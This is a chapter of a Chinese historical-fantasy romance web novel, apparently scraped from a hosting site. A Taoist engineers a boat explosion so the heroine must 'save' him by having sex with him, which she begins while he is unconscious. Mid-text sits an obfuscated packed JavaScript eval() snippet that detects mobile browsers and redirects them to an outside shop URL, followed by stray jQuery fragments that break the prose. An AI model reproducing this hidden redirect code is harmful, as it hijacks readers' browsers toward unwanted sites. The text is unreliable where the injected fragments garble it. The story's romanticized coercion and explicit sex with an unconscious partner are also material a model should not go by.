文趣网 > 其他小说 > 和黑莲花道长山居后 > 62. [锁]   [此章节已锁]
    画舫圆柱骤然倒塌,李初棠尖叫一声,随着破败的船体摇曳。

    她惊恐万分,不知发生了何事。听声响,应该是炸药于底仓点燃。

    螳螂捕蝉黄雀在后,她没空细想,随倾斜的破船一同坠入曲江。

    夏夜的江水一波一波涌起,裹挟着冰凉的寒意,朝她席卷而来。

    她浅薄的浮水技巧在惊慌之下毫无用武之地。

    她不受控制地下坠,感官被乌泱泱的水流声包围,胸口滞闷得宛如生了巨石,憋得人难受。

    心中振荡出死亡的恐惧,难道就在这般了结了么……

    屏住的呼吸出现一丝松懈,江水灌入,她再也受不住了。

    下一刻神思昏迷,欲生欲死。

    她好像回到了书斋后院,回到了和魏源一起喝酒的那一夜。

    “对不起,魏公子。我不能答应你。”

    魏源求娶的心思,她再明白不过,“即便能助我缓解燃眉之急,我也不能拿你的婚姻大事开玩笑。因为我根本不喜欢你。”

    她看着他的眼睛,平静得说出伤人的话。

    魏源的脸色从未如此难看。

    李初棠礼貌地重复,“我不喜欢你。我不能利用你做自私的事,我的事情我自己处理。你若心中有愧,可以帮我寻一物。”

    她拿出书斋里翻出的南疆医书,“别怪我打秋风,上次你害我差点折在山里,受了好大的罪……我寻你帮个忙,无可厚非吧。”

    “还记得你认识的那位老郎中吗,他能不能配制出这味‘落魂香’……”

    魏源看着她,良久露出苦笑,“你明知道我不会拒绝你……”

    落魂香,魂一散,力便空,越挣越虚。

    她将这种秘香装进母亲留下的香囊里,施粥那日送到了曹淳府上。听说是苏婉旧物,他必定爱不释手。

    这才着了她的道。

    她看过母亲的随笔,其中一年中元节,她曾代表卧病的李谦,亲自登船,和远赴京中游历的曹淳一同纪念故人。

    正是有此先例,她才能成事。可不想,意外来得太快。

    江水裹挟着她柔软的身体不断下沉,双目闭合之际,她隐约看到一个靠近的影子,像是来索命的黑无常……

    黑暗吞噬五感,压迫着她的神经。

    好痛。

    再次抬起沉重的眼皮,看见的昏暗的室内房梁。

    周边火烛燃起一片橘红的光,透着阴森和诡异。

    李初棠如临梦中,脑中昏昏沉沉,身体又酸又软,好像在水中泡了好久,哪里都使不上力气。

    良久,她艰难地撑起上身,看向琉璃窗外。

    院内既无雅致亭台,又无花草修饰,灰突突的,并非破败,却像有意为之。

    在她视线所能看到的不远处,一处枯树上,攀着密密麻麻的蛇群。

    夜风吹来,透着窗棂发出呼呼声响,檐下银铎随之凄凄切切,好似哀怨的鬼乐。

    纵使地狱也不过如此。

    但胸口如释重负的感觉提醒着她,她没有死。

    李初棠下了榻,发觉身上换了身干净衣衫。她推开隔扇门,外边侍立着几个丫鬟打扮的人。

    “夫人醒了?”一人欣喜道。

    “这是哪里。”

    侍女但笑不语,“夫人不必惊慌,随我来。”

    她领着李初棠,三两步过了明间,转到一旁的书房里。

    此处清冷别致,书案后是一排满墙的博古架,一侧的墙上挂着硕大画像,其中是一位骑着仙鹿、鹤发童颜的老者,道人打扮、面怀慈悲,只看一眼就觉得神秘莫测。

    李初棠不禁走近几步,细细端详。之后,视线落在书案的文卷上,外祖父的名字吸引了她。

    她翻动卷册,就着微弱的烛火细看。这是关于苏家案的调查卷宗,逻辑缜密,按照线索一路推理到郑国公。

    “来了?”

    她被这突如其来的声音吓了一跳。

    闻声望去,发觉窗下昏暗的榻边斜倚着个人。

    他一脚支起,不羁得靠坐在引枕,一边看着她,一边懒洋洋甩着腰间玉佩。

    借着烛光,李初棠看清了这人的脸。

    骨相硬朗,面容清俊,眼神带有压迫感,让人不敢对视。

    李初棠垂眸,隐隐觉得哪里见过他,好像就是在画像里。

    “多谢公子救命之恩。”她淡淡道。

    “你谢错了。”

    “若是我,一定不会救你。”

    他那个傻子兄弟,为了这女人险些搭上命,如今生死不明,只为赌一赌她会不会施以援手。

    张楚匪夷所思,想到前日和江道灼的对话。

    “你真的要这么做?炸船?万一她——”

    “我不会让她死。”江道灼的声音很平静,平静到可怕,“我算过了。炸药埋在后舱,爆炸会从船尾开始。她在前舱,有时间逃。”

    他派人盯着,查清了是郑家暗地捣鬼,想用借游船炸死曹淳。李初棠也会出现在船上,他本想第一时间除去火药,但转念一想,不如将计就计。

    “有时间逃,但不一定能逃掉?”

    “我会在。”他抬眸,眼底没有温度。

    张楚沉默了很久。“……你这是拿命赌。”

    “嗯。”

    “她要是知道了——”

    “她不会知道。”江道灼低头,把玩着手中的银铃,“她只会知道,我为了救她,快死了。”

    “然后呢?”

    “然后,”他笑了一下,“她就不得不救我了。”

    李初棠了然,会在危急关头对她不离不弃的只有他。

    “江道灼在哪儿?他是不是出事了?”

    张楚惊诧地抬起眼皮,观澜总说她聪敏过人,眼下看来名不虚传。

    李初棠蹙着一双黛眉,眸间星光点点,渐渐蓄上水雾。

    看着不像对他全无情意。

    这个混账,还算运气好。张楚暗骂他一句。

    “我问你他在哪儿!”

    张楚掀起眼皮,打量着她,像在审视什么。他清晰看到少女眼里的焦急,不似作伪。

    “好大的脾气……是你差点害死他。”

    他起身出了书房,示意她跟上。

    寂寥无声的夜里,她在半明半暗的房间里穿梭,随他走出隔扇,进了落地罩,一层层青布纱幔之后,见到了江道灼。

    他平躺在架子床上,肌肤苍白若纸,嘴唇毫无血色,一双眼睛闭合,鼻息疏淡,好似再不会醒来一样。

    她握住他的手,看到指腹上崎岖的纹路,这是在水中浸泡后的状态。

    果真是他,一路尾随她去了画舫,又在千钧一发之际救她上岸。

    她上前拂过他的额头,感受到冰冷的寒意。

    这不是正常人的体温。

    之前,她隐隐觉得不对劲。他的身体可以短时间愈合伤口,在这之后的相处里,愈合速度却变缓了。

    自回京后,他每一次和她见面,不表现出异样,不代表她感受不到。

    “是因为血丹吗?”

    “非也。回京后他已经食用过血丹。”

    “他是道人,身上有玄门禁制,一旦泄露精元,身体便会溃败,直到消亡。如今,临近结点,才如此不堪。”

    张楚缓缓解释。

    李初棠脑中一阵嗡嗡声。

    “你说他要死了……”她虚弱地摘取他话中要点,胸口又涨又鼓,仿佛溺水的憋窒再度袭来。

    “他是药人,早晚有一死。”

    李初棠:“药人?”

    “他是药人,早晚有一死。”张楚看着她,“但本来不该这么快的。”

    李初棠抬头:“什么意思?”

    张楚沉默了一瞬,像是在犹豫要不要说。

    “……他本来可以不上那艘船的。”他最后还是说了,“他明知道会炸。”

    李初棠的脑子里“嗡”的一声。

    “你说什么?”

    “他早就知道船上有炸药。”张楚的声音很低,“但他还是去了。”

    “因为他知道,只有他去了,你才会在这里。”

    星空圆月随云流转,夜风簌簌,不知过了多久。

    同她交代清楚,张楚关门离去。

    李初棠神色复杂地看着床边人,手掌摩挲着他的脸侧。

    张楚的话在耳畔回响。

    “他因你破了玄门禁制,只有你能助他苏醒。”

    “玄门禁制一破,加之药人体质特殊,唯一能救他的只有百日续命契。”

    张楚交给她一本古书和一本小册子,“破戒者同令其破戒之人双修,百日百次,方可痊愈。”

    也就是说,她是唯一能救他的人。

    直到现在,李初棠双颊上的绯红还未退散。

    她翻开那本春宫小册,忽然明白了什么。

    这不是张楚给她的。

    是江道灼。

    从炸船,到救她,到昏迷,到“只有她能救他”……每一步,他都在算计。

    她是猎物,他是猎人。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598445|202448||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他把自己当成诱饵,钓她上钩。

    她应该生气的。应该把书摔在他脸上,转身就走。

    但她没有。

    因为她想起他在江水里抱她的样子——那么紧,像是怕一松手,她就真的沉下去了。

    算计是真的。

    怕失去她,也是真的。

    她分不清了。

    ——知道她在画舫,他定不会炸船。要在她行事后相助,大可派人前往,不必亲力亲为。他这般糟践自己,就是有意为之。

    只为突破最后那道身体防线,彻底陷入无助,好逼她做选择。

    他随意拿性命做赌,为了让她永远属于自己。

    “你这个混账。”

    泪水滑下,她抚去泪珠,才察觉脸颊烫得厉害。

    看着眼前昏睡的人,李初棠心里又是心疼又是自责。

    药人也好,调查冤案也罢,他为什么不同她说明呢。

    还如此坏心眼的算计她。

    室内不知何时备好了水,浴室雾气氤氲,热意在无形中升腾。

    一切好似请君入瓮。

    李初棠在浴桶里洗了许久,直到身子泡得暖透了,才擦干出来。

    室内一片祥和,橘红的烛火照进纱帐,暖意融融,映出一道朦胧的倩影。

    狭小的床帐内温暖如春,封闭的空间让呼吸都有些不畅。

    李初棠跪坐在柔软的茵褥上,胸口团着一股热气,额角沁出细密的汗。

    她含着泪,羞赧地解开腰侧的系带。

    里衣轻轻滑落。

    她双手环膝,望着他犯难。

    真要如此吗?

    这种事……只有夫妻才可以。

    漏刻滴滴答答,似是无声的催促。

    人命关天,她不能耽搁。

    若是见死不救,和曹淳何异?

    何况,在山上他曾多次救她于水火。山洞里那回……他也不计前嫌。

    攥紧衣边的手慢慢蜷起。

    人命当头,还矫情什么。

    窸窸窣窣,外衫轻轻落在床角。

    帐内好似更热了一分,空气中暗流涌动。

    她垂下眼睫,忍着羞赧,伸手去解他的衣带。

    里衣剥下,露出精壮的胸膛,腹肌块块分明,人鱼线于窄瘦的腰身绵延而下,隐没进里裤。

    她深吸一口气,闭了闭眼,伸手为他褪去最后的衣物。

    视线不敢往下落,脸颊却已经烧得厉害。

    都说阴阳调和,可……她偷偷打量一眼他安静的睡颜,明明看着清瘦,怎么……

    她咬了咬唇,脑子里乱成一团。

    耳畔只剩下自己擂鼓般的心跳。

    羞耻之余,她开始暗自担心——接下来的事,真的能成吗?

    早知道不招惹这个混球了,真是自讨苦吃。

    李初棠翻开春宫册,画册墨水偏新,图册简单,没有标注作者和书商,一看就是江道灼所作。

    打开扉页,有他写下的一句话:“这是百日续命契,要么百日内使用我百次,要么死给你看。”

    李初棠仿佛听到了他阴恻恻的语气。

    怕她不会,他甚至留了详细的图册供她参考。

    翻开第一页,画上的内容让她面红耳赤。

    这是在教她如何开始。

    她往后翻,图册上姿态亲密,栩栩如生。

    她照着图册上的指引,深吸一口气,悄悄试了起来。

    一股陌生的痛意袭来,像是有什么东西被骤然撑开。

    她眉心微蹙,倒吸了一口气。

    这一刻,一切都静止了。

    帐内只剩下她极力压抑的呼吸声。

    她忍不住轻哼了一声,立刻咬住唇,不许自己发出声音。

    闷热的气息包围着她,雪体打着颤,将将抵进了三分之一。

    细密汗珠浸得肚兜半透,随着她颤抖的呼吸,一下接一下拍打着起伏的胸口。

    怎么办,好像吃不进去……

    她从来没有这么无助过,一边着急,一边自责。

    怎么就这么笨呢,看了图还是学不会。

    万一他醒不过来怎么办?

    她开始行动,于表层磨蹭。

    不知道要动到什么时候,渐渐没了力气。

    他到底能不能醒过来。

    润红的唇微微启合,发出绵长的略带哭腔的哼唧。

    下方,一张昳丽安静的容颜不知不觉颤了下睫毛。

    江道灼醒了。